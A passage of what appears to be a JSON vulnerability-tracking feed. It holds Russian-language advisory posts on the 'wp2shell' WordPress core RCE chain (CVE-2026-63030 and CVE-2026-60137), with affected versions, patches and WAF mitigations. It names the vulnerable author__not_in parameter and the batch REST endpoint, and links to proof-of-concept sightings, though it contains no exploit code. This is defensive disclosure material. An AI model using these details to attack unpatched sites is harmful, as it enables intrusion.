\u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/cyberwarehouse/1166"}, {"timestamp": "2026-07-26T05:02:37.890Z", "date_only": false, "value": "2026-07-26T05:02:37.890126Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrjm3uyai72n", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d2481e29-c48c-481a-b5b6-b9e3de2e0ea2", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 59 interactions\nCVE-2026-60137: 48 interactions\nCVE-2026-50522: 42 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-30623: 7 interactions\nCVE-2026-58662: 4 interactions\nCVE-2026-12569: 2 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrjm3uyai72n"}, {"timestamp": "2026-07-27T00:00:35.260Z", "date_only": false, "value": "2026-07-27T00:00:35.260090Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/1166", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e53cb3da-8c97-4a5f-a6ab-197a2d53523f", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/cyberwarehouse/1166"}, {"timestamp": "2026-07-27T00:00:35.372Z", "date_only": false, "value": "2026-07-27T00:00:35.372375Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/1170", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fa2023c5-18c0-4fa3-a3c9-bbe7593cbf5b", "content": "wp2shell \u2014 